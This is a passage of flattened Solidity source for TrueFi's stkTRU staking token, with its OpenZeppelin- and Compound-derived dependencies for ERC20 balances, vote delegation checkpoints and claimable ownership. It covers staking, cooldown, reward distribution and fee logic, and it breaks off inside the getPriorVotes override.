https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // Dependency file: contracts/trusttoken/common/ProxyStorage.sol // pragma solidity 0.6.10; /** * All storage must be declared here * New storage must be appended to the end * Never remove items from this list */ contract ProxyStorage { bool initalized; uint256 public totalSupply; mapping(address => uint256) public balanceOf; mapping(address => mapping(address => uint256)) public allowance; mapping(uint144 => uint256) attributes_Depricated; address owner_; address pendingOwner_; mapping(address => address) public delegates; // A record of votes checkpoints for each account, by index struct Checkpoint { // A checkpoint for marking number of votes from a given block uint32 fromBlock; uint96 votes; } mapping(address => mapping(uint32 => Checkpoint)) public checkpoints; // A record of votes checkpoints for each account, by index mapping(address => uint32) public numCheckpoints; // The number of checkpoints for each account mapping(address => uint256) public nonces; /* Additionally, we have several keccak-based storage locations. * If you add more keccak-based storage mappings, such as mappings, you must document them here. * If the length of the keccak input is the same as an existing mapping, it is possible there could be a preimage collision. * A preimage collision can be used to attack the contract by treating one storage location as another, * which would always be a critical issue. * Carefully examine future keccak-based storage to ensure there can be no preimage collisions. ******************************************************************************************************* ** length input usage ******************************************************************************************************* ** 19 "trueXXX.proxy.owner" Proxy Owner ** 27 "trueXXX.pending.proxy.owner" Pending Proxy Owner ** 28 "trueXXX.proxy.implementation" Proxy Implementation ** 64 uint256(address),uint256(1) balanceOf ** 64 uint256(address),keccak256(uint256(address),uint256(2)) allowance ** 64 uint256(address),keccak256(bytes32,uint256(3)) attributes **/ } // Dependency file: contracts/trusttoken/common/ERC20.sol /** * @notice This is a copy of openzeppelin ERC20 contract with removed state variables. * Removing state variables has been necessary due to proxy pattern usage. * Changes to Openzeppelin ERC20 https://github.com/OpenZeppelin/openzeppelin-contracts/blob/de99bccbfd4ecd19d7369d01b070aa72c64423c9/contracts/token/ERC20/ERC20.sol: * - Remove state variables _name, _symbol, _decimals * - Use state variables balances, allowances, totalSupply from ProxyStorage * - Remove constructor * - Solidity version changed from ^0.6.0 to 0.6.10 * - Contract made abstract * - Remove inheritance from IERC20 because of ProxyStorage name conflicts * * See also: ClaimableOwnable.sol and ProxyStorage.sol */ // pragma solidity 0.6.10; // import {Context} from "@openzeppelin/contracts/GSN/Context.sol"; // import {SafeMath} from "@openzeppelin/contracts/math/SafeMath.sol"; // import {Address} from "@openzeppelin/contracts/utils/Address.sol"; // import {ProxyStorage} from "contracts/trusttoken/common/ProxyStorage.sol"; // prettier-ignore /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ abstract contract ERC20 is ProxyStorage, Context { using SafeMath for uint256; using Address for address; /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); /** * @dev Returns the name of the token. */ function name() public virtual pure returns (string memory); /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public virtual pure returns (string memory); /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public virtual pure returns (uint8) { return 18; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), allowance[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, allowance[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, allowance[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); balanceOf[sender] = balanceOf[sender].sub(amount, "ERC20: transfer amount exceeds balance"); balanceOf[recipient] = balanceOf[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); totalSupply = totalSupply.add(amount); balanceOf[account] = balanceOf[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); balanceOf[account] = balanceOf[account].sub(amount, "ERC20: burn amount exceeds balance"); totalSupply = totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); allowance[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ // solhint-disable-next-line no-empty-blocks function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } } // Dependency file: contracts/governance/interface/IVoteToken.sol // pragma solidity ^0.6.10; // import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol"; interface IVoteToken { function delegate(address delegatee) external; function delegateBySig( address delegatee, uint256 nonce, uint256 expiry, uint8 v, bytes32 r, bytes32 s ) external; function getCurrentVotes(address account) external view returns (uint96); function getPriorVotes(address account, uint256 blockNumber) external view returns (uint96); } interface IVoteTokenWithERC20 is IVoteToken, IERC20 {} // Dependency file: contracts/governance/VoteToken.sol // AND COPIED FROM https://github.com/compound-finance/compound-protocol/blob/c5fcc34222693ad5f547b14ed01ce719b5f4b000/contracts/Governance/Comp.sol // Copyright 2020 Compound Labs, Inc. // Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: // 1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. // 2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. // 3. Neither the name of the copyright holder nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission. // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. // // Ctrl+f for OLD to see all the modifications. // pragma solidity 0.6.10; // import {ERC20} from "contracts/trusttoken/common/ERC20.sol"; // import {IVoteToken} from "contracts/governance/interface/IVoteToken.sol"; /** * @title VoteToken * @notice Custom token which tracks voting power for governance * @dev This is an abstraction of a fork of the Compound governance contract * VoteToken is used by TRU and stkTRU to allow tracking voting power * Checkpoints are created every time state is changed which record voting power * Inherits standard ERC20 behavior */ abstract contract VoteToken is ERC20, IVoteToken { bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)"); bytes32 public constant DELEGATION_TYPEHASH = keccak256("Delegation(address delegatee,uint256 nonce,uint256 expiry)"); event DelegateChanged(address indexed delegator, address indexed fromDelegate, address indexed toDelegate); event DelegateVotesChanged(address indexed delegate, uint256 previousBalance, uint256 newBalance); function delegate(address delegatee) public override { return _delegate(msg.sender, delegatee); } /** * @dev Delegate votes using signature */ function delegateBySig( address delegatee, uint256 nonce, uint256 expiry, uint8 v, bytes32 r, bytes32 s ) public override { bytes32 domainSeparator = keccak256(abi.encode(DOMAIN_TYPEHASH, keccak256(bytes(name())), getChainId(), address(this))); bytes32 structHash = keccak256(abi.encode(DELEGATION_TYPEHASH, delegatee, nonce, expiry)); bytes32 digest = keccak256(abi.encodePacked("", domainSeparator, structHash)); address signatory = ecrecover(digest, v, r, s); require(signatory != address(0), "TrustToken::delegateBySig: invalid signature"); require(nonce == nonces[signatory]++, "TrustToken::delegateBySig: invalid nonce"); require(now <= expiry, "TrustToken::delegateBySig: signature expired"); return _delegate(signatory, delegatee); } /** * @dev Get current voting power for an account * @param account Account to get voting power for * @return Voting power for an account */ function getCurrentVotes(address account) public virtual override view returns (uint96) { uint32 nCheckpoints = numCheckpoints[account]; return nCheckpoints > 0 ? checkpoints[account][nCheckpoints - 1].votes : 0; } /** * @dev Get voting power at a specific block for an account * @param account Account to get voting power for * @param blockNumber Block to get voting power at * @return Voting power for an account at specific block */ function getPriorVotes(address account, uint256 blockNumber) public virtual override view returns (uint96) { require(blockNumber < block.number, "TrustToken::getPriorVotes: not yet determined"); uint32 nCheckpoints = numCheckpoints[account]; if (nCheckpoints == 0) { return 0; } // First check most recent balance if (checkpoints[account][nCheckpoints - 1].fromBlock <= blockNumber) { return checkpoints[account][nCheckpoints - 1].votes; } // Next check implicit zero balance if (checkpoints[account][0].fromBlock > blockNumber) { return 0; } uint32 lower = 0; uint32 upper = nCheckpoints - 1; while (upper > lower) { uint32 center = upper - (upper - lower) / 2; // ceil, avoiding overflow Checkpoint memory cp = checkpoints[account][center]; if (cp.fromBlock == blockNumber) { return cp.votes; } else if (cp.fromBlock < blockNumber) { lower = center; } else { upper = center - 1; } } return checkpoints[account][lower].votes; } /** * @dev Internal function to delegate voting power to an account * @param delegator Account to delegate votes from * @param delegatee Account to delegate votes to */ function _delegate(address delegator, address delegatee) internal { address currentDelegate = delegates[delegator]; // OLD: uint96 delegatorBalance = balanceOf(delegator); uint96 delegatorBalance = safe96(_balanceOf(delegator), "StkTruToken: uint96 overflow"); delegates[delegator] = delegatee; emit DelegateChanged(delegator, currentDelegate, delegatee); _moveDelegates(currentDelegate, delegatee, delegatorBalance); } function _balanceOf(address account) internal view virtual returns (uint256) { return balanceOf[account]; } function _transfer( address _from, address _to, uint256 _value ) internal virtual override { super._transfer(_from, _to, _value); _moveDelegates(delegates[_from], delegates[_to], safe96(_value, "StkTruToken: uint96 overflow")); } function _mint(address account, uint256 amount) internal virtual override { super._mint(account, amount); _moveDelegates(address(0), delegates[account], safe96(amount, "StkTruToken: uint96 overflow")); } function _burn(address account, uint256 amount) internal virtual override { super._burn(account, amount); _moveDelegates(delegates[account], address(0), safe96(amount, "StkTruToken: uint96 overflow")); } /** * @dev internal function to move delegates between accounts */ function _moveDelegates( address srcRep, address dstRep, uint96 amount ) internal { if (srcRep != dstRep && amount > 0) { if (srcRep != address(0)) { uint32 srcRepNum = numCheckpoints[srcRep]; uint96 srcRepOld = srcRepNum > 0 ? checkpoints[srcRep][srcRepNum - 1].votes : 0; uint96 srcRepNew = sub96(srcRepOld, amount, "TrustToken::_moveVotes: vote amount underflows"); _writeCheckpoint(srcRep, srcRepNum, srcRepOld, srcRepNew); } if (dstRep != address(0)) { uint32 dstRepNum = numCheckpoints[dstRep]; uint96 dstRepOld = dstRepNum > 0 ? checkpoints[dstRep][dstRepNum - 1].votes : 0; uint96 dstRepNew = add96(dstRepOld, amount, "TrustToken::_moveVotes: vote amount overflows"); _writeCheckpoint(dstRep, dstRepNum, dstRepOld, dstRepNew); } } } /** * @dev internal function to write a checkpoint for voting power */ function _writeCheckpoint( address delegatee, uint32 nCheckpoints, uint96 oldVotes, uint96 newVotes ) internal { uint32 blockNumber = safe32(block.number, "TrustToken::_writeCheckpoint: block number exceeds 32 bits"); if (nCheckpoints > 0 && checkpoints[delegatee][nCheckpoints - 1].fromBlock == blockNumber) { checkpoints[delegatee][nCheckpoints - 1].votes = newVotes; } else { checkpoints[delegatee][nCheckpoints] = Checkpoint(blockNumber, newVotes); numCheckpoints[delegatee] = nCheckpoints + 1; } emit DelegateVotesChanged(delegatee, oldVotes, newVotes); } /** * @dev internal function to convert from uint256 to uint32 */ function safe32(uint256 n, string memory errorMessage) internal pure returns (uint32) { require(n < 2**32, errorMessage); return uint32(n); } /** * @dev internal function to convert from uint256 to uint96 */ function safe96(uint256 n, string memory errorMessage) internal pure returns (uint96) { require(n < 2**96, errorMessage); return uint96(n); } /** * @dev internal safe math function to add two uint96 numbers */ function add96( uint96 a, uint96 b, string memory errorMessage ) internal pure returns (uint96) { uint96 c = a + b; require(c >= a, errorMessage); return c; } /** * @dev internal safe math function to subtract two uint96 numbers */ function sub96( uint96 a, uint96 b, string memory errorMessage ) internal pure returns (uint96) { require(b <= a, errorMessage); return a - b; } /** * @dev internal function to get chain ID */ function getChainId() internal pure returns (uint256) { uint256 chainId; assembly { chainId := chainid() } return chainId; } } // Dependency file: contracts/trusttoken/common/ClaimableContract.sol // pragma solidity 0.6.10; // import {ProxyStorage} from "contracts/trusttoken/common/ProxyStorage.sol"; /** * @title ClaimableContract * @dev The ClaimableContract contract is a copy of Claimable Contract by Zeppelin. and provides basic authorization control functions. Inherits storage layout of ProxyStorage. */ contract ClaimableContract is ProxyStorage { function owner() public view returns (address) { return owner_; } function pendingOwner() public view returns (address) { return pendingOwner_; } event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev sets the original `owner` of the contract to the sender * at construction. Must then be reinitialized */ constructor() public { owner_ = msg.sender; emit OwnershipTransferred(address(0), msg.sender); } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner_, "only owner"); _; } /** * @dev Modifier throws if called by any account other than the pendingOwner. */ modifier onlyPendingOwner() { require(msg.sender == pendingOwner_); _; } /** * @dev Allows the current owner to set the pendingOwner address. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { pendingOwner_ = newOwner; } /** * @dev Allows the pendingOwner address to finalize the transfer. */ function claimOwnership() public onlyPendingOwner { address _pendingOwner = pendingOwner_; emit OwnershipTransferred(owner_, _pendingOwner); owner_ = _pendingOwner; pendingOwner_ = address(0); } } // Dependency file: contracts/truefi/interface/ITrueDistributor.sol // pragma solidity 0.6.10; // import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol"; interface ITrueDistributor { function trustToken() external view returns (IERC20); function farm() external view returns (address); function distribute() external; function nextDistribution() external view returns (uint256); function empty() external; } // Root file: contracts/governance/StkTruToken.sol pragma solidity 0.6.10; // import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol"; // import {ReentrancyGuard} from "@openzeppelin/contracts/utils/ReentrancyGuard.sol"; // import {SafeMath} from "@openzeppelin/contracts/math/SafeMath.sol"; // import {VoteToken} from "contracts/governance/VoteToken.sol"; // import {ClaimableContract} from "contracts/trusttoken/common/ClaimableContract.sol"; // import {ITrueDistributor} from "contracts/truefi/interface/ITrueDistributor.sol"; /** * @title stkTRU * @dev Staking contract for TrueFi * TRU is staked and stored in the contract * stkTRU is minted when staking * Holders of stkTRU accrue rewards over time * Rewards are paid in TRU and tfUSD * stkTRU can be used to vote in governance * stkTRU can be used to rate and approve loans */ contract StkTruToken is VoteToken, ClaimableContract, ReentrancyGuard { using SafeMath for uint256; uint256 constant PRECISION = 1e30; uint256 constant MIN_DISTRIBUTED_AMOUNT = 100e8; struct FarmRewards { // track overall cumulative rewards uint256 cumulativeRewardPerToken; // track previous cumulate rewards for accounts mapping(address => uint256) previousCumulatedRewardPerToken; // track claimable rewards for accounts mapping(address => uint256) claimableReward; // track total rewards uint256 totalClaimedRewards; uint256 totalFarmRewards; } struct ScheduledTfUsdRewards { uint64 timestamp; uint96 amount; } // ================ WARNING ================== // ===== THIS CONTRACT IS INITIALIZABLE ====== // === STORAGE VARIABLES ARE DECLARED BELOW == // REMOVAL OR REORDER OF VARIABLES WILL RESULT // ========= IN STORAGE CORRUPTION =========== IERC20 public tru; IERC20 public tfusd; ITrueDistributor public distributor; address public liquidator; uint256 public stakeSupply; mapping(address => uint256) cooldowns; uint256 public cooldownTime; uint256 public unstakePeriodDuration; mapping(IERC20 => FarmRewards) public farmRewards; uint32[] public sortedScheduledRewardIndices; ScheduledTfUsdRewards[] public scheduledRewards; uint256 public undistributedTfusdRewards; uint32 public nextDistributionIndex; mapping(address => bool) public whitelistedFeePayers; // ======= STORAGE DECLARATION END ============ event Stake(address indexed staker, uint256 amount); event Unstake(address indexed staker, uint256 burntAmount); event Claim(address indexed who, IERC20 indexed token, uint256 amountClaimed); event Withdraw(uint256 amount); event Cooldown(address indexed who, uint256 endTime); event CooldownTimeChanged(uint256 newUnstakePeriodDuration); event UnstakePeriodDurationChanged(uint256 newUnstakePeriodDuration); event FeePayerWhitelistingStatusChanged(address payer, bool status); /** * @dev Only Liquidator contract can perform TRU liquidations */ modifier onlyLiquidator() { require(msg.sender == liquidator, "StkTruToken: Can be called only by the liquidator"); _; } /** * @dev Only whitelisted payers can pay fees */ modifier onlyWhitelistedPayers() { require(whitelistedFeePayers[msg.sender], "StkTruToken: Can be called only by whitelisted payers"); _; } /** * Get TRU from distributor */ modifier distribute() { // pull TRU from distributor // do not pull small amounts to save some gas // only pull if there is distribution and distributor farm is set to this farm if (distributor.nextDistribution() > MIN_DISTRIBUTED_AMOUNT && distributor.farm() == address(this)) { distributor.distribute(); } _; } /** * Update all rewards when an account changes state * @param account Account to update rewards for */ modifier update(address account) { updateTotalRewards(tru); updateClaimableRewards(tru, account); updateTotalRewards(tfusd); updateClaimableRewards(tfusd, account); _; } /** * Update rewards for a specific token when an account changes state * @param account Account to update rewards for * @param token Token to update rewards for */ modifier updateRewards(address account, IERC20 token) { if (token == tru) { updateTotalRewards(tru); updateClaimableRewards(tru, account); } else if (token == tfusd) { updateTotalRewards(tfusd); updateClaimableRewards(tfusd, account); } _; } /** * @dev Initialize contract and set default values * @param _tru TRU token * @param _tfusd tfUSD token * @param _distributor Distributor for this contract * @param _liquidator Liquidator for staked TRU */ function initialize( IERC20 _tru, IERC20 _tfusd, ITrueDistributor _distributor, address _liquidator ) public { require(!initalized, "StkTruToken: Already initialized"); tru = _tru; tfusd = _tfusd; distributor = _distributor; liquidator = _liquidator; cooldownTime = 14 days; unstakePeriodDuration = 2 days; owner_ = msg.sender; initalized = true; } /** * @dev Owner can use this function to add new addresses to payers whitelist * Only whitelisted payers can call payFee method * @param payer Address that is being added to or removed from whitelist * @param status New whitelisting status */ function setPayerWhitelistingStatus(address payer, bool status) external onlyOwner { whitelistedFeePayers[payer] = status; emit FeePayerWhitelistingStatusChanged(payer, status); } /** * @dev Owner can use this function to set cooldown time * Cooldown time defines how long a staker waits to unstake TRU * @param newCooldownTime New cooldown time for stakers */ function setCooldownTime(uint256 newCooldownTime) external onlyOwner { // Avoid overflow require(newCooldownTime <= 100 * 365 days, "StkTruToken: Cooldown too large"); cooldownTime = newCooldownTime; emit CooldownTimeChanged(newCooldownTime); } /** * @dev Owner can set unstake period duration * Unstake period defines how long after cooldown a user has to withdraw stake * @param newUnstakePeriodDuration New unstake period */ function setUnstakePeriodDuration(uint256 newUnstakePeriodDuration) external onlyOwner { require(newUnstakePeriodDuration > 0, "StkTruToken: Unstake period cannot be 0"); // Avoid overflow require(newUnstakePeriodDuration <= 100 * 365 days, "StkTruToken: Unstake period too large"); unstakePeriodDuration = newUnstakePeriodDuration; emit UnstakePeriodDurationChanged(newUnstakePeriodDuration); } /** * @dev Stake TRU for stkTRU * Updates rewards when staking * @param amount Amount of TRU to stake for stkTRU */ function stake(uint256 amount) external distribute update(msg.sender) { require(amount > 0, "StkTruToken: Cannot stake 0"); if (cooldowns[msg.sender] != 0 && cooldowns[msg.sender].add(cooldownTime).add(unstakePeriodDuration) > block.timestamp) { cooldowns[msg.sender] = block.timestamp; emit Cooldown(msg.sender, block.timestamp.add(cooldownTime)); } if (delegates[msg.sender] == address(0)) { delegates[msg.sender] = msg.sender; } uint256 amountToMint = stakeSupply == 0 ? amount : amount.mul(totalSupply).div(stakeSupply); _mint(msg.sender, amountToMint); stakeSupply = stakeSupply.add(amount); require(tru.transferFrom(msg.sender, address(this), amount)); emit Stake(msg.sender, amount); } /** * @dev Unstake stkTRU for TRU * Can only unstake when cooldown complete and within unstake period * Claims rewards when unstaking * @param amount Amount of stkTRU to unstake for TRU */ function unstake(uint256 amount) external distribute update(msg.sender) nonReentrant { require(amount > 0, "StkTruToken: Cannot unstake 0"); require(balanceOf[msg.sender] >= amount, "StkTruToken: Insufficient balance"); require(unlockTime(msg.sender) <= block.timestamp, "StkTruToken: Stake on cooldown"); _claim(tru); _claim(tfusd); uint256 amountToTransfer = amount.mul(stakeSupply).div(totalSupply); _burn(msg.sender, amount); stakeSupply = stakeSupply.sub(amountToTransfer); tru.transfer(msg.sender, amountToTransfer); emit Unstake(msg.sender, amount); } /** * @dev Initiate cooldown period */ function cooldown() external { if (unlockTime(msg.sender) == type(uint256).max) { cooldowns[msg.sender] = block.timestamp; emit Cooldown(msg.sender, block.timestamp.add(cooldownTime)); } } /** * @dev Withdraw TRU from the contract for liquidation * @param amount Amount to withdraw for liquidation */ function withdraw(uint256 amount) external onlyLiquidator { stakeSupply = stakeSupply.sub(amount); tru.transfer(liquidator, amount); emit Withdraw(amount); } /** * @dev View function to get unlock time for an account * @param account Account to get unlock time for * @return Unlock time for account */ function unlockTime(address account) public view returns (uint256) { if (cooldowns[account] == 0 || cooldowns[account].add(cooldownTime).add(unstakePeriodDuration) < block.timestamp) { return type(uint256).max; } return cooldowns[account].add(cooldownTime); } /** * @dev Give tfUSD as origination fee to stake.this * 50% are given immediately and 50% after `endTime` passes */ function payFee(uint256 amount, uint256 endTime) external onlyWhitelistedPayers { require(endTime < type(uint64).max, "StkTruToken: time overflow"); require(amount < type(uint96).max, "StkTruToken: amount overflow"); require(tfusd.transferFrom(msg.sender, address(this), amount)); undistributedTfusdRewards = undistributedTfusdRewards.add(amount.div(2)); scheduledRewards.push(ScheduledTfUsdRewards({amount: uint96(amount.div(2)), timestamp: uint64(endTime)})); uint32 newIndex = findPositionForTimestamp(endTime); insertAt(newIndex, uint32(scheduledRewards.length) - 1); } /** * @dev Claim all rewards */ function claim() external distribute update(msg.sender) { _claim(tru); _claim(tfusd); } /** * @dev Claim rewards for specific token * Allows account to claim specific token to save gas * @param token Token to claim rewards for */ function claimRewards(IERC20 token) external distribute updateRewards(msg.sender, token) { require(token == tfusd || token == tru, "Token not supported for rewards"); _claim(token); } /** * @dev View to estimate the claimable reward for an account * @param account Account to get claimable reward for * @param token Token to get rewards for * @return claimable rewards for account */ function claimable(address account, IERC20 token) external view returns (uint256) { // estimate pending reward from distributor uint256 pending = token == tru ? distributor.nextDistribution() : 0; // calculate total rewards (including pending) uint256 newTotalFarmRewards = rewardBalance(token) .add(pending > MIN_DISTRIBUTED_AMOUNT ? pending : 0) .add(farmRewards[token].totalClaimedRewards) .mul(PRECISION); // calculate block reward uint256 totalBlockReward = newTotalFarmRewards.sub(farmRewards[token].totalFarmRewards); // calculate next cumulative reward per token uint256 nextCumulativeRewardPerToken = farmRewards[token].cumulativeRewardPerToken.add(totalBlockReward.div(totalSupply)); // return claimable reward for this account return farmRewards[token].claimableReward[account].add( balanceOf[account] .mul(nextCumulativeRewardPerToken.sub(farmRewards[token].previousCumulatedRewardPerToken[account])) .div(PRECISION) ); } /** * @dev Prior votes votes are calculated as priorVotes * stakedSupply / totalSupply * This dilutes voting power when TRU is liquidated * @param account Account to get current voting power for * @param blockNumber Block to get prior votes at * @return prior voting power for account and block */ function getPriorVotes(address account, uint256 blockNumber) public override view returns (uint96) { uint96 votes = super.getPriorVotes(account, blockNumber); return 